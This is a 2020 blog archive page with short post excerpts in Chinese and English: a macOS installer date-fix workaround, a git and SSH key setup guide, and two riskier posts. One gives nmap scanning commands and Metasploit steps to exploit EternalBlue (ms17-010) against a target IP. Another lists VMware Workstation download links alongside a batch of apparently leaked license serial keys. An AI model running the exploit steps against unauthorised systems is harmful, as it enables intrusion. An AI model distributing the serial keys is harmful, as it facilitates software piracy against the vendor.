Posts

Showing posts from March, 2020

[Note] 内网安全

Image
内网IP存活:nmap -sP 192.168.1.1-225                        nmap -sP 192.168.1.1/24                        nmap -sn 192.168.1.1-225                        nmap -sn 192.168.1.1/24 单IP扫描漏洞:  nmap --script=vuln "ip" 扫描永恒之蓝: nmap -p 445 --script=smb-vuln-ms17-010 192.168.1.102/24 利用ms17-010: msfconsole msf5> search ms17-010 msf5> use 3 msf5> show options msf5> set rhost="ip" msf5> exploit

This copy of the install macOS High Sierra application is damaged, and can't be used to install...

First of all, this problem is related to time. Now the latest system version of Mac has reached 10.15, and Sierra is the code name of 13. Check the release date of version 10.13 on the Internet, and then change the date to a similar date. In addition, there are many operations on the Apple system that are related to the date. For example, after installing a black apple, the system time is inconsistent with the current time. Even if the network is connected, the Internet cannot be accessed and the time must be corrected. The solution: 1.Open Terminal (Utilities → Terminal) 2.Enter date 071014102018 (don’t care about the disconnection in the picture here, just enter the command directly, the command time can be changed by yourself, mainly within a certain period of time, the date range is relatively large) . date 062614102014.30   06 is the month, 26 is the day, 14 is the hour, 10 is the minute, 2014 is the year, and 30 is the second; you can change it according to this rule, the sy...

Vmware Workstation 15

Vmware Workstation 15 注册码 下载: VMware Workstation Pro 15.5.0 Build 14665864 https://download3.vmware.com/software/wkst/file/VMware-workstation-full-15.5.0-14665864.exe VMware Workstation Pro 15.1.0 Build 13591040 https://download3.vmware.com/software/wkst/file/VMware-workstation-full-15.1.0-13591040.exe VMware Workstation Pro 14.1.3 Build 9474260 https://download3.vmware.com/software/wkst/file/VMware-workstation-full-14.1.3-9474260.exe VMware Workstation Pro 12.5.9 Build 7535481 https://download3.vmware.com/software/wkst/file/VMware-workstation-full-12.5.9-7535481.exe VMware Workstation 10.0.7 Build 2844087 https://download3.vmware.com/software/wkst/file/VMware-workstation-full-10.0.7-2844087.exe 软件序列号: UG5J2-0ME12-M89WY-NPWXX-WQH88 GA590-86Y05-4806Y-X4PEE-ZV8E0 YA18K-0WY8P-H85DY-L4NZG-X7RAD UA5DR-2ZD4H-089FY-6YQ5T-YPRX6 B806Y-86Y05-GA590-X4PEE-ZV8E0 ZF582-0NW5N-H8D2P-0XZEE-Z22VA UY758-0RXEQ-M81WP-8ZM7Z-Y3HDA VF750-4MX5Q-488DQ-9WZE9-ZY2D6 UU54R-FVD91-488PP-7NNGC-ZFAX6 YC74H-FGF92-081VZ-...

git设置用户名密码(单用户和多用户)

一、前言 Git共有三个级别的config文件,分别是system、global和local。global的在$home\.gitconfig,local的在仓库目录下的.git\config。这三个级别都分别配置了用户信息,当git commit时,会依次从local、global、system里读取用户信息。 https和ssh的区别: 1、前者可以任意克隆github上面的项目,不管是谁的;而后者必须是你要克隆项目的所有者或者管理员,且需要先添加SSH Key,否则无法克隆。 2、https url在push的时候是需要验证用户名和密码的;ssh在push的时候,是不需要输入用户名和密码的,如果配置SSH key的时候设置了密码,则需要输入密码的,否则是不需要输入密码的。 配置git的ssh需要提交需要的以下步骤 1、设置Git的user.name和user.eamil 2、生成ssh 3、配置git的ssh key 二、单个用户配置步骤 1.设置Git的user name和eamil git config --global user.name "Deamer" git config --global user.email "user@mail.com" 查看用户信息命令: git config user.name git config user.email    2、生成ssh ssh-keygen -t rsa -C "user@mail.com" 代码参数的含义: -t:执行密钥类型,默认是rsa,可以省略 -C:设置注释文字,比如邮箱 -f:指定密钥文件存储文件名 以上代码省略了-f参数,因此运行上面那条命令之后会让你输入一个文件名,用户保存刚才生成的SSH key代码,如: Generating public/private rsa key pair. # Enter file in which to save the key (/c/Users/Deamer/.ssh/id_rsa): [Press enter] 当然也可以根据需要输入名字,使用默认文件名就会生成id_rsa和id_rsa.pub两个密钥文件。 接着又会提示输入两次密码(该密码是你push文件的时候输入的密码,而不是git...

安装macOS High Sierra应用程序的此副本已损坏,无法用于安装... This copy of the install macOS High Sierra application is damaged, and can't be used to install...

  首先出现这个问题是和时间有关,现在 Mac 最高的系统大版本已经到了 10.15 ,而 Sierra 是 13 的代号,去网上查一下 10.13 版本的发布日期,然后将日期改到差不多的日期上就可以了。      另外苹果系统还有很多操作都和日期有关,比如刚装完黑苹果,系统时间和当前时间不一致,即使网络已经连接了也无法上网,必须更正时间。      下边是解决方案:   打开 终端 (Utilities → Terminal) 输入 date 071014102018 (这里图片中的断开网络什么的不用管,直接输入命令即可,命令时间可以自己改,主要在某个时间段内就行,日期范围比较大) .    date 062614102014.30   06 是月, 26 是日, 14 是时, 10 是分, 2014 是年, 30 是秒;根据这个规则来改即可,不同的老版本的系统时间是不一样的